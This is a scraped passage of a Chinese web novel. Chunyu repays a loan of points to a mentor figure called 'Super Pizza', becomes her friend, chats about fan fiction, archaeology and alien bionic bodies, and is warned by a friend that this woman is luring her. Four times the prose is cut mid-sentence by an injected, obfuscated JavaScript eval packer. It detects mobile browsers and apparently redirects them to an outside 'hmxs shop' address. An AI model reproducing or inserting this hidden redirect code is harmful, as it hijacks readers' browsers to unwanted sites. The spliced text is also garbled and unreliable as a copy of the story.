“我只是想从你身上学得力量，我不知道该怎么办，如果连你都是这样的结局……”春虞停下了。 春虞从背包里把进入联盟得到的各种道具物品都找出来，最后春虞挑出了一个橘子，沸橘，会燃烧，会吱哇乱叫的橘子。 春虞又找到块木板，她走到小岛边缘，俯身下去将那块木板浸透海水，然后她翻出一个稍大的盒子灌满海水，用木板和海水搭出了一个简易的花盆。 春虞把沸橘放进盆里，橘子一接触到海水，立马安静下来。春虞连盆带橘将它放在了小岛上。 她回到墓碑前：“我不知道沸橘能不能这样种，如果下次我记得的话，我会带着花来看你的。” “如果真的有来世，祝愿你有一个母亲，还有一个亲人。” “再见，弗莱。” 11. 还积分 因为纪念馆借钱一事，春虞后来开始有意识的了解关于【超级披萨】的一些事迹。 比如【超级披萨】也算网名，因为她也在地球有一个别的名字。但【超级披萨】和春虞不同的是，春虞是在地球长大，机缘巧合之下回到联盟的，而【超级披萨】是在联盟长大，因为工作和学习原因短暂待在地球的。 【超级披萨】的其中一份工作是和人类研究学有关的。 为了尽快还上【超级披萨】的钱，春虞近几天接任务的频率很高，虽然只差6积分，但是【超级披萨】借钱的时候借了十倍的积分给她，春虞也想还积分的时候多还一点，就当是为了感谢【超级披萨】愿意借钱给自己的谢礼，或者把这当做利息也行。 也行【超级披萨】根本不会收下，但是春虞已经决定要给出去了。 不乱花钱的时候，春虞攒积分的速度还是很快的，不过三天，春虞就赚取了26积分，加上之前剩下的54积分，春虞决定连本带利还给【超级披萨】80积分。 春虞通过通讯手环联系了【超级披萨】，对方正在地球做她的兼职工作之一，于是春虞就将见面时间约在了第二天上午。 刚好趁着今天还有时间，春虞又接了一个8积分的任务，收到积分后，春虞在乌理理的店里花5积分买了一套正式但不至于显得太严肃的套裙（是的，应客人强烈要求，乌理理手工婚纱店也售卖礼裙）。 虽然是为了还积分，但春虞居然意外的期待第二天的见面。她想，肯定是因为上次见面给【超级披萨】留下的印象太差了，春虞才想再见【超级披萨】一次，刷新印象。 不过对于这个两次三番帮助过自己的人，春虞还是很有好感的。说不定我们还能成为朋友，春虞想，如果合适的话。 第二天很快就到来了。春虞整理好着装，提前十分钟来到了【生活区】的露天咖啡馆，却发现【超级披萨】已经到了。 “啊，老师，你到得好早。”春虞不知道该怎么称呼对方，直呼其名也不太合适，但她见过联盟里其他人是怎么称呼【超级披萨】的，于是春虞决定也跟着这样喊。 对于春虞的新称呼，【超级披萨】扬了扬眉，却没说什么，看起来好像默认春虞这样叫了。 于是春虞刚坐下来，【超级披萨】就把菜单递了过来，“小弗莱看看有什么想吃的，甜品的话我推荐莓果香米饼，这个不太腻。” 小弗莱，原来【超级披萨】在这里等着呢，春虞脸皮发烫，她上次被对方这么喊的时候没觉得，因为当时忙着胡思乱想，现在听着怎么想怎么尴尬。 但是没办法，春虞总不能说“请您正经的称呼我的全名——弗莱的影子”吧，这只会让她更尴尬，可恶啊，春虞想，为什么我一开始不告诉【超级披萨】我的真名呢！当然是因为那时候不知道也没想到我们会再见面甚至坐在同一张桌子上交流啊，陌生地方初次见面还是陌生人，说真名的才不正常吧。 “我当时真的只是想保护我的个人信息而已啊”——来自虽然玩个游戏就被系统开户了但仍然坚持自己的姓名有被保护必要的春虞。 尚能忍下去的春虞拿起了菜单，对方推荐的甜品莓果香米饼她恰好吃过，不为别的，一小块甜品两积分呢！看起来一点也不贵是不是？但比起那些一积分畅吃一年的基础食物，这已经很贵了！想当初春虞就是奔着高价特意吃它的。不过味道也不辜负价格就是了。 “好吧。”春虞说，“那么请来一份莓果香米饼，再要一杯卡布奇诺，谢谢。” 春虞瞄了一眼【超级披萨】，对方喝的是抹茶拿铁，看起来也很不错。她在心里打了一遍草稿，思考如何自然的提起话题。 “咳。”春虞假意咳了一下，给自己提点声势，“老师，谢谢您前几天嫁给我的积分……” “客人，您的咖啡好了。请慢用。” 春虞的声音减弱，她借着店员放咖啡时手臂的间隙悄悄看向【超级披萨】，对方也好笑的望过来，春虞被发现了。 怎么能这么敏锐，春虞的脸更热了，她低下头，假装专注地搅拌桌面上的卡布奇诺，上面的拉花被她搅得一塌糊涂。 好不容易等店员走远，春虞已经没有重新说一次的勇气了，她深吸口气，直接将准备好的积分通过通讯手环一次性转了过去：“老师，这是80积分，非常感谢您上次愿意借给我积分，真的帮了我大忙了。” 【超级披萨】低头看着手环上显示的转账信息，眉头微挑：“哦？借了60，还我80？这利息可不算低。”对方语气带着点儿调侃，却没有立刻点击确认接收，反而看着春虞，“虽然不还也可以，但我觉得你应该不想欠别人什么，所以按照约定还60积分就可以。” “我知道，”春虞点点头，语气认真起来，“多出来的部分，算是我的一点心意，上次真的非常感谢您，不仅借钱给我，我能正确找到弗莱的墓碑也多亏了您……总之，请您务必收下。” “不，我的意思是，我们都不想欠别人什么。”所以只有还60积分她才会收下。 春虞愣愣的看着【超级披萨】，“可是，那样的话，您帮了我，我却什么也没有做，就相当于我欠了您的。”春虞怕对方再次拒绝，又赶紧补充了一句，“而且这样，我下次再有需要您帮忙的事情，都不好意思再找您了。” 【超级披萨】看起来好像被春虞这番直白又带点“威胁”的话逗笑了，她眼角弯起温柔的弧度，又将问题抛了回去：“那么小弗莱将这20积分给我，是想把上次的事情还的一干二净吗？” 春虞着急了，“当然不是！” “好吧，”【超级披萨】终于点击了确认接收，“既然是‘心意’，那我就收下了。不过下次再有事直接说就好，小弗莱也不用这么‘破费’了。” 还了积分，心头一桩大事落地，春虞总算感觉轻松不少。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669042|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挖了一勺莓果香米饼送进嘴里，清甜的莓果酱和软糯的米饼混合在一起，味道果然很好，不愧是值两积分的甜品。 “老师，您经常去地球吗？”吃到甜品心情好，春虞都有勇气主动挑起话题了。 “不算经常，工作需要时才会待上一阵子。” 【超级披萨】端起自己的抹茶拿铁喝了一口，“不过有时候为了观察和研究，我也会在地球常住。那是个相当有趣的地方，文化很多元，食物也很不错。”对方目光落在春虞面前的甜品上，意有所指。 春虞深有同感：“是啊，联盟里好吃的虽然也多，但我总觉得差点意思，好像一直没有饱腹感，可能是因为联盟里的食物都是能量拟态吧。” 春虞说完好奇道：“那您的观察研究，大概是做什么呢？”总不能是像人类研究珍稀动物一样研究人类吧哈哈。 “观察和理解地球人类在不同社会环境下的行为模式和文化变迁，”【超级披萨】解释道，“算是我的个人爱好吧，我有时候会觉得，不同地域和种族的人，内核的某些情感其实是共通的。” 很不幸，春虞猜对了。她想象了一下自己被圈养起来观察研究的模样，顿时一阵恶寒，她赶紧甩甩头，试图把那些乱七八糟的画面甩出脑袋。 两人又继续闲聊了一会儿，大多是春虞问一些关于联盟不同区域的规则和趣事，【超级披萨】一直超有耐心地回答，偶尔还会夹杂分享一两个她在地球遇到的趣事。 春虞放松到不行，气氛融洽得几乎让春虞忘了最初的那点尴尬。 很快【超级披萨】杯中的咖啡就见底了，对方抬起手环看了一眼时间，温和道：“我稍后还有些事情要处理。” 春虞立刻表示理解，“那老师您去忙，我也没有什么其他的问题了。” 【超级披萨】看着春虞，有点好笑，她举了一下自己的通讯手环：“我们之前交换过通讯码，以后如果有什么需要帮忙的，或者只是单纯想聊聊天，都可以找我。” “当然，任何有关弗莱的问题，只要我知道，都可以告诉你。” 春虞惊喜地看着【超级披萨】，“谢谢老师！”她用力点头，“不过我保证我不会随便打扰您的！” “没关系，”【超级披萨】站起身，拿起搭在椅子背上的外套，动作优雅从容，“能和小弗莱聊聊天，我想我会很乐意，所以这应该不算打扰。”【超级披萨】又用小弗莱这个名字称呼春虞，不过这次春虞只是微微脸红，没有反驳。她也跟着站了起来。 “那么，下次见。”【超级披萨】朝春虞挥挥手，转身离开了咖啡馆，背影很快消失在【生活区】的街道。 春虞站在原地，看着手环里那个唯一的联系人，心里有点暖洋洋的。今天还清了积分，还交了一个朋友，真不错啊。 春虞低头看了看桌上空了的杯碟，心想，这两积分的莓果香米饼，果然还是对得起它的价格的。 12. 披萨小姐与春虞的交流 春虞和【超级披萨】好像莫名其妙就熟悉起来了，至少在春虞的视角是这样的。 起初只是春虞试探性的和【超级披萨】分享了一件还算有趣但微不足道的小事，而【超级披萨】也很乐意的接受了春虞的分享，结果一来二去的就慢慢熟了。 于是在进入联盟的第43天，【超级披萨】和春虞重新交换了名字。 春虞：“其实我有一点好奇，她们为什么喊你老师？” 【超级披萨】扬眉：“可能是因为我在地球和联盟都当过老师？” 春虞觉得这很厉害，“哇哦，那么老师你教学生什么课？” 披萨小姐：“在地球上主要是教他们口语，英语口语和德语口语。我很喜欢他们的学校，没课的时候我会去旁听一些教授的课。至于在联盟，我有时候会教《地球人类研究学》这门课。” 身为土生土长的地球人类，虽然后一门课听起来有点别扭，但这并不妨碍春虞为此崇拜披萨小姐，她喜欢优秀的人，因此毫不吝啬夸赞的话语：“老师你真的好厉害！身兼数职也就算了，还这么博学！” 不过春虞后来知道了，她们喊披萨小姐老师只是出于尊重。 联盟会给每一个成员分配住所，但等成员们赚取了足够的积分，通常会选择购买一个漂浮的岛，在岛上重新建造一个更具隐私的，完全属于自己的小屋。而联盟里有近三分之一的小岛都借鉴了披萨小姐的设计图。 春虞和披萨小姐并排在街道上走了一会儿，突然道：“赫连老师，不要喊我那个奇怪的网名了，喊我‘春虞’吧，‘春虞’是我外婆给我取的名字，也是我现实生活里会用的名字。” 【超级披萨】在联盟很出名，因此连带着“赫连嘉玉”这个她在地球使用的名字也不是秘密，稍微用点心就能打听到。 披萨小姐：“好啊，春虞。那么以后就多多指教了。” 春虞得寸进尺道：“赫连老师，那我可不可以不喊你‘老师’啊？” 披萨小姐依旧宽容：“当然，你想怎么喊我？” 春虞：“除了老师，别人还会喊你什么？” 披萨小姐：“那可多了。” 春虞：“比如呢？多到数不过来吗？” 披萨小姐静静看着春虞不说话，于是春虞就知道自己的问题越界了，她刚想随便扯个什么话题缓和一下气氛，披萨小姐却又开口了。 “我没有数过。” 春虞内心又雀跃起来，“我其实想要给你想一个昵称，因为刚刚才意识到，我们一直以来对话和聊天，我对你都是用老师敬称，而你，一直喊我那个中二的网名。” “虽然一开始是我的问题，但是我刚刚意识到了错误，并且及时纠正了，纠正了一半——我告诉了你我真正认可的名字，作为回礼，我希望可以直呼赫连老师你的名字。” 披萨小姐说：“我同意了，刚才我也没有拒绝你。” 春虞咧着牙齿对她讨好的笑，看起来有点像撒娇，“我知道，但是我第一眼看见你的时候你是【超级披萨】，我可不可以喊你‘披萨小姐’，我想要试试这样喊你。” 披萨小姐：“一般情况下，事实上，我觉得没什么必要。”她顿了两秒找了个合适的形容词，“太肉麻了有点。” 春虞真诚道：“可是我想这样喊你，你对我来说是特别的……朋友，我希望我也是你特别的朋友，就算不是，我也希望自己可以用一个不同于别人的昵称来称呼你。” “可以吗？我保证只是有时候这样称呼你，行不行？” 披萨小姐试图用沉默表示拒绝。 春虞看起来失落极了，“难过死我了。”春虞以退为进，“那我偷偷叫你，只在没有人的时候，这样可不可以？” 披萨小姐总算妥协了，“行。” 春虞计划得逞，转过头无声的仰天大笑。她们并肩走在街上，春虞一边走一边碎碎念：“我有时候觉得自己很莫名其妙，话多的话，披萨小姐会不会嫌我烦？” 春虞很擅长使用自己刚谋来的福利，在此之前，她已经在心里偷偷喊了很多次“披萨小姐”，因此也很轻易的说得顺口。 披萨小姐说：“还好。你有什么话或者什么事情想告诉我，都可以和我说。如果我不在，你可以在我的小岛留言，我看见了会回复你的。” 春虞说：“我知道了。”她走了几步，又接着说：“其实披萨小姐你在这么说之前，就已经这么做了。披萨小姐永远都是很靠谱，很守诚信的样子。” 春虞听见披萨小姐轻轻笑了一下，然后她听见披萨小姐说：“是吗，原来在春虞眼里，我这么好啊。” “当然了！”春虞纠正道：“但不是披萨小姐在我眼里很好，是披萨小姐本来就很好！”春虞吹得花天满地，直到天上的太阳躲进云里，春虞才停下。 联盟里的太阳和月亮都是可以被操控的，联盟里的天气也不例外。联盟每天的天气取决于那天联盟成员的心情。 当联盟时间到达零点之后，每一个正处于联盟的正式成员的心情都会被纳入统计，如果这一天高兴的成员超过一半，那么当天的天气就是晴天，反之，同理。特殊节日例外。 春虞第一次知道这个设定的时候就觉得很有趣，以至于到现在，她已经习惯了凌晨进入联盟，为第二天的晴朗天气贡献宝贵的一票。 今天也有超过一半的联盟成员在高兴呢。 春虞问披萨小姐：“今天天气真好啊，是不是？” 披萨小姐点头看向春虞，不出意外的话，接下来春虞又要问很多和天气毫不相关的问题了。 果然，春虞问她：“在和我出来赴约之前，披萨小姐在做什么呢？” 她就知道。披萨小姐说：“哈，刚画完画。” 春虞说：“联盟里最近有一个活动，【生活区】管理层准备招一些成员为已经死去的，但未记录生平事迹的历史人物写传记。我也想试一下，如果我被选中了，我要给弗莱写传记。” 披萨小姐：“我没怎么关注这一方面，是联盟最近掘坟进度取得了什么大进展吗？” zkx星球破碎至今，已经有1200年的历史了。星球破碎后，联盟用了特殊方法将破碎的zkx星球碎片重组，拼成【禁区】，联盟将【禁区】按规律划分出不同的区域，并定期组织成员对已划分的【禁区】进行考古研究工作，试图通过考古还原1200年前的历史真相。 而联盟成员则统称这一过程为掘坟。 春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669043|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞想了想道：“确实挖出了不同以往的东西，但我不知道这算不算重大进展。” 披萨小姐：“挖出了什么？” 春虞：“一块刻着字的原界石。” 披萨小姐沉默了，很快她开口，却一字不提原界石。“你说你要给弗莱写传记，已经有什么思路了吗？” 春虞点头，“管理层让我们先写一篇弗莱的印象投稿。不过有一个情节，我感觉我写的有点不太好，披萨小姐能帮我看看然后给点意见吗，你知道，我最近对他疯狂上头，不太能理性的写他。” 披萨小姐：“这样的话我觉得完全看你个人喜好，再带一点人物性格，你觉得人物会怎么做就可以怎么写，毕竟现在是让你们写印象初稿。” “既然是按你的印象，那就没什么好不好的，你觉得合适就行。” 春虞恍然大悟：“是的，我原本就是第一版那样写的，不过因为对方是弗莱所以我犹豫了。”犹豫究竟是以自己所知的视角去写他，还是带着尽量公正的角度去写他。 披萨小姐：“是弗莱的话，犹豫一下，让他飘远一点，倒也问题不大。毕竟还是十几岁的少年啊。” 春虞：“那么我就犹豫一下，我想让他再飘高，飘远一点。” 披萨小姐做出问题解决的手势，“不过这种算是个人感想吗？还是二次创作人物？” 春虞思忖：“应该是二次创作人物吧？不过飘得太远了就能称得上是个人感想了？或者野史也说不定。” 春虞似乎已经想到那个场面了，她把自己的想法说出来，“如果我们的稿子能好好保存，等过了很多年，后来的人看见这些稿子，会不会觉得这是真的发生过的事呀。” “你说野史会不会是古代的同人文呢？” 披萨小姐少有的出现了疑惑：“我大概知道‘同人文’的意思，所以这究竟是一种什么心理，我不太能也一直没有很好的机会去理解。” “在地球上，一部分人不约而同的去做同一件事，为了一个并不存在的陌生人，编造一些不存在的事迹，劳心费力，但并不能因此获得利益。” 春虞也很难描述：“emmmm，也许是因为热爱？” “热爱？地球人热爱给不存在的人编写不存在的故事吗？” 春虞觉得很好笑，“披萨小姐，答应我，你千万不要当着她们的面说这种话。” 她笑完才和披萨小姐解释：“我知道的同人女写同人文，大部分都是因为喜欢的角色没有一个好的终局或者好的开始，她们怜惜ta，她们为这个角色感到遗憾，她们想要补全这个遗憾，于是同人文就出现了。这些角色在新的故事里得到了圆满结局。” “披萨小姐，我一直告诉自己，不能太绝对的否认他们的存在，我们认为他们不存在，也许只是因为我们不知道他们存在的形式。” 春虞感慨：“在进入联盟之前，游戏《异界联盟》发售之后，我经常听到朋友讨论联盟，但我从不认为联盟，包括联盟里所有的成员都是真实存在的。” “我们春虞果然不愧是rakta。”披萨小姐问春虞，“那么现在，春虞相信你所处的这个世界是真实存在的吗。” “当然，我相信异世界是真实存在的。” 13. 无聊的交流 今天披萨小姐和春虞继续就着关于同人文和同人女的话题讨论。 披萨小姐对地球人类学一直很感兴趣，她特地翻阅了最新发布的，更高热量的帖子读完，然后又来问春虞。 “我对比了一部分原作和同人，发现创作‘同人文’的这个群体里，并不是所有人都是出于热爱。”披萨小姐的效率一直很高，她接着说，“其实这也很正常，有人热爱必然就有人痛恨。” “地球人类好像更擅长写同人文，当他们痛恨一个角色的时候，也会为这个角色虚构一个世界，在虚构的世界里折磨角色直到ta崩溃。” 春虞一阵恶寒，她怀疑披萨小姐查阅的资料可能不太对，“披萨小姐，您这几天是看了什么奇怪的东西吗？” 披萨小姐没忍住放声笑道：“不，恰恰相反，我看了好多二次创作人物向，但是作者是为了满足自己的私欲和人物的特殊心理，他们扭曲了原来的角色，我很不想评判。但我想，我应该是对的。” 春虞也很惊讶：“怎么会这样，那还有意义吗？披萨小姐，你明白我的意思吧？这完全就是披着原角色壳子和名字的另一个个体，如果他们还能称之为个体的话。” “他不爱她们（是指原角色），她们（原角色）被杀死了，被别人取代了，我觉得这就是强占别人的躯体壳子！” 披萨小姐对此很有话说：“是的，他们总有些人不顾别人的死活，我看见她们（指原角色）被剥离出来，眼睁睁看着自己躯壳变成另一个人的，也很惊讶，我甚至感到荒谬。我从不轻易折磨陌生人。” 春虞很激动：“啊，我明白，如果是弗莱的尸体被人偷走强占了，也许我也会很生气的，也许我会发疯的。” “现在想想也许弗莱没留下尸体也不算坏事，不过骨头也很重要，我大概知道了。”春虞问披萨小姐，“所以去见弗莱的墓碑需要门票，是因为弗莱的骨头很重要，需要被保护吗？” 披萨小姐：“没那么复杂。只是因为弗莱在战场上做出了贡献，所以不能谁都轻易去见他。早几年见墓碑不需要门票的时候，去的人太多，弗莱墓碑周围的草地都被踏枯萎了。” “这么厉害。”春虞惊诧，“我以为喜欢弗莱是一件很小众的事情，毕竟《星球史》上千篇的内容，只有不到20页的文字里提到了他。” 披萨小姐解释：“《星球史》是逐年更新的，很多老人记得那场战争里的所有人，不止弗莱，所有为战争做出贡献的人都被喜欢和铭记。” 春虞：“那真是太好了。” 春虞和披萨小姐的话题很快又歪了回来，春虞重新给披萨小姐描述了自己可能会做什么，最后反倒是披萨小姐来安慰春虞了，然后春虞总算发现了不对劲。 春虞：“你的形容太精准了有点。说实话，披萨小姐，你怎么突然知道的怎么多了，前几天你还不理解呢？” 披萨小姐理不直气壮：“毕竟我只是平平无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669044|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇的一个老师，为了教学生，我总要多学点。” 春虞：“既然如此，那我也可以是。” 披萨小姐和春虞的话题慢慢偏到画上， 披萨小姐好像有点唏嘘：“之前有段时间，我在地球的时候，被诬陷画画抄袭，地球人类有时候真的不可理喻。” 春虞明显没想到披萨小姐还有这一面，她不太熟练的安慰道：“嘛，没关系，披萨小姐不要内耗自己啊，你要相信自己，别难过，他们只是嫉妒你的才华。” 披萨小姐点头赞同：“所以我现在明白了，尤其在地球带学生的时候，精神状态不太稳定。” 春虞：“诶，披萨小姐带学生啊？也许我现在还是学生?” 披萨小姐：“是的，差点忘了你了。” 春虞：“虽然但是，披萨小姐你会点名吗？上课的时候。” 披萨小姐：“视情况而定，不过他们学牲有专门记迟到旷课的。对了，你是学生的话，现在几年级？” 春虞：“刚过完高三，那么站讲台上看我们好不好笑？” 披萨小姐神情恍惚：“我带大学牲，看到大学两个字瞬间眉头一紧。” 春虞：“为什么？” 披萨小姐难得情绪激动：“大学生太不省心了！！” 春虞很高兴：“可是我很省心。” 披萨小姐：“可惜我不教你。” 春虞点点头，还是没忍住露出个自得的笑。 14. 真实的披萨小姐 春虞在来到联盟的第一个下雨天送了披萨小姐一只神奇动物，是她在做任务的时候抓到的，神奇动物模样像有两个嘴巴的兔子，看起来可可爱爱，一张嘴能吃掉一个头。 后来披萨小姐把这个疑似兔子的生物做成了标本，用玻璃罩罩着用以观赏。 “我要和披萨小姐聊一件很意外的事情。” 因为下雨天，两人都没有出门，披萨小姐的小岛上有一个半开放的玻璃花厅，春虞就和披萨小姐隔着玻璃看雨落下。 “我感觉我被骗了，上次管理层让我们投弗莱的印象稿，我以为会选我们去给弗莱编写小传，可是根本没有！” “管理层根本不需要再招人，给历史人物编写小传的任务早就派发给贡献者们了，管理层招新成员是为了别的工作。” 披萨小姐在按教程冲泡茶膏，用的杯子是做化学实验用的玻璃烧杯。披萨小姐的原话是“因为不太会泡茶又想尝试，所以决定借助新工具。” 她把冲泡好的茶放到春虞面前，问春虞，“别的工作指什么？” “挖矿？”春虞捧着茶杯组织语言，“就是去【禁区】掘坟做考古工作，没什么技术含量所以很好考，但由于【禁区】空间不稳定，不允许动用天赋，因此报考的人很少，所以我幸运的抢到了名额！” “虽然只是阶段性的任务，但也比我之前接的任务积分高多了，我还是很喜欢这个工作的。” 居然招收了新成员进入考古工作，即使是临时的也够让人惊讶了，看来这次联盟还真是挖出了不得了的东西啊。披萨小姐想得不少，面色却不动声色。 “春虞已经试过考古工作了吗？会不会觉得枯燥？” “昨天和前天去了几个小时。”春虞弹了一下“兔子标本”的玻璃罩，“兔子就是在【禁区】回来的路上抓到的。” “偶尔是有点无聊，但也算不上枯燥。因为不需要动脑子，所以我的思想是自由的。我在做重复工作的时候，思想会更活跃。我乐意让我的思想活跃起来。” 披萨小姐比着刻度又往烧杯里加了一点热水，“那春虞在想什么？” 春虞又弹了几下玻璃罩，“考古的时候吗？考古时我什么都会想，也会想到披萨小姐哦。不过现在嘛，我在想我为什么会喜欢吃干巴巴的饼干。” 披萨小姐接着春虞的话继续说下去：“我喜欢吃披萨。” 春虞目不转睛的盯着披萨小姐看了两分钟，恍然大悟道：“原来如此！难怪你是披萨小姐呢。” 披萨小姐：“而且披萨是一种包容性很强的食物，但就算如此它也有自己的菠萝……” 春虞跟着重复：“菠萝。” 披萨小姐轻笑了一声，多说了一点：“在披萨发源地意大利，披萨里放菠萝算是大逆不道，所以菠萝代指我不能接受的事物。” “噢，菠萝是雷点”，春虞说：“我以为你说‘但就算如此它也有自己的菠萝！’是因为你喜欢在里面加菠萝。” 披萨小姐捂着脸哭笑不得。 第二天，联盟的【次元屋】有人在吵架，听说还打起来了，春虞在听到消息的第一时间就跑去围观了。 但还有速度比她更快的，联盟指挥官·鱼乔已经提前到达现场，并处理好了事故。 春虞到的时候，现场就只剩几个同样没看到热闹，但不死心还留在现场闲逛的联盟成员。 春虞遗憾的环顾了一圈现场，发现指挥官·鱼乔更换了形象，从之前的粉色像素人变成了一个穿纯绿衣服的黄毛。 春虞转头找披萨小姐求证：“这个，你们的……我们联盟的指挥官是继承制吗？比如定期更换指挥官，但是每一任指挥官都叫鱼乔？” 披萨小姐很耐心的给春虞解释：“不是，你之前见到的指挥官·鱼乔和现在这个鱼乔是同一个人，他只是更换了仿生体。” “仿生体？”春虞疑惑，“这是什么？虽然我只是粗略的看完了《常识大全》，但我确定我没有看到过这个词语。” 披萨小姐：“《常识大全》里当然不会提到，《常识》是写给所有联盟成员的，但仿生体只有asthi需要了解。” 春虞一脸求知欲的看着披萨小姐，“仔细说说？” 联盟里一共有3个种族，即rakta，asthi和mānnsa。（缩写为R，A，N） rakta寿命悠长，情感充沛，掌握生的力量；asthi拥有强大而尖锐的力量，但是记忆情感没有载体，只能将意识体附在仿生体上面行动；至于mānnsa则介于二者之间。 春虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669045|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到了披萨小姐新提到的概念：“意识体？” 披萨小姐解释道：“就是你们人类玩全息游戏时提到的‘精神体登入’，二者喊法不同而已。” “哦哦。”春虞点头，“明白了，就像英国的魔法师喊人类‘麻瓜’，美国的魔法师喊不会魔法的人‘麻鸡’是一样的道理。” 春虞扭头看了一眼指挥官的新形象，纠结半天，还是没忍住和披萨小姐吐槽道：“我知道这样不好，但我还是决定要说，因为看起来真的很像一个变异的菠萝。” “我不明白，为什么指挥官非要想不开换一个这样的形象。粉色多显眼啊，又漂亮。而且之前我能在人群里一眼看到他，现在不行了，我要去人群里盯半天才能找到他……” 春虞夸张道：“假设我遇到了需要指挥官裁决的事情，我得提前，至少五分钟的时间，先在一大堆绿油油的植物里找到他。” 春虞讲到一半：“话说，我有一个很无礼的想法，不知当讲不当讲。” 披萨小姐低头看她：“嗯？” 春虞一边观察披萨小姐的神色，一边慢慢的往外蹦字，“就是，我就是问问，如果不能，或者不方便回答的话就算了。” “我想知道披萨小姐现在也是用的仿生体吗？” 沉默。 春虞赶紧道：“好的，我知道了，我们跳过这个问题，我刚刚其实什么也没有说，假装我们做了一个同样的梦，现在愉快的失忆吧。”春虞说得飞快，生怕慢半个字就来不及了。 披萨小姐及时叫停了她，“等一下，你总要给我点时间组织语言。” 春虞姿势很端正，声音也很乖巧：“好的，我以为你沉默是我不能听。”她解释说。 披萨小姐用食指和拇指揉眉心，“三分钟以上的沉默是不能听，还没到就是在组织语言。” 春虞保持姿势：“好的，我现在明白了。” 披萨小姐继续说：“asthi刚诞生时都需要附在仿生体上生活，但能掌握力量后，可以参照仿生体自己化形。” “化形后，asthi就不能随意更换形象了，所以很多asthi更愿意使用仿生体而不化形。我选择了化形，很高兴让你见到完整的我。” 春虞：“很高兴见到真实的你！” 15. 我们是朋友也是亲人 春虞在进入联盟的第48天，也是在暑假的第61天，被朋友硬拉出去逛街了。 “陈春虞你怎么回事啊，整整一个暑假诶，除了班级聚会，还有上次我们宿舍小聚，你居然一次也没有找我们玩过！” “说实话，你是一直宅在家里还是有别的狗了？” “都没有。”春虞有点心虚，被朋友陈君宜质问时，她下意识想到的居然是披萨小姐！这太糟糕了，她什么时候这么沉迷游戏了。 但陈君宜太熟悉春虞了，她很轻易的就发现了春虞的不对劲，“春虞，你肯定有事情瞒着我！” 陈君宜想了想眼前这人能捅出的最大篓子，试探发问：“你谈恋爱了？” “当然没有！”春虞否认，而且她很疑惑，“我怎么可能谈恋爱，我明明……” 春虞在君宜探究的眼神里渐渐气弱，“好吧，我一直在玩游戏，之前《异界联盟》推出全息模式，我抽到了内测名额，我有告诉过你的。” 陈君宜：“但你可没告诉我，你整天沉迷游戏到都不肯出门的地步。” “我没有。”春虞小声解释，“而且我今天不是和你一起出来了吗。” 陈君宜哼了一声，“如果不是我去找你，你会出门吗？” 春虞不说话了。 陈君宜先妥协，“好吧，我们先去吃东西，吃完东西再讨论其他的，行不行？” 春虞点头同意了。两人先去买了冷饮，又找了家评分不错的店坐下吃午饭。 “你不和我讲最近发生的有趣的事了吗？”陈君宜用公筷给春虞的碗里添满菜，“你已经和别人讲过了，还是你在生我的气，春虞？” 春虞又不合时宜的升起愧疚，“我要先想想，从哪里开始讲比较好。” 春虞挑了一点联盟里的趣事和陈君宜讲，但大多趣事总绕不开披萨小姐。 于是陈君宜问她：“春虞，这个‘披萨小姐’是你在游戏里认识的网友吗？” 春虞隔着氤氲的水汽回望陈君宜，“是的。” 陈君宜：“你别告诉我，你没看出她的意图。” 春虞：“你说披萨小姐吗？她能有什么意图。” 陈君宜：“她在引诱你！” “啊，原来如此。”春虞明悟道：“我一直感到奇怪，为什么在游戏里总能遇见披萨小姐，如果是因为披萨小姐想要引诱我，一切就说得通了。” 陈君宜满心怒气难抑，“陈星星！她也抱着目的接近你，她不怀好意，你怎么能！怎么能这样无所谓的态度，怎么可以不生气！” 氤氲热浪中，春虞的表情看不真切，语气却显得平静：“可是，又有什么关系，至少她还没有伤害我，就算是为了从我身上得到什么，她也没有伤害我。” 陈君宜：“她迟早有一天会的！” 春虞：“那我等这一天的到来。” 春虞接着说：“我在玩游戏的时候，里面有一个种族的设定很有趣，她们拥有旺盛的生命力，与之相对的是，她们的感情细腻敏感，又易碎，所以很轻易就能被打倒。” 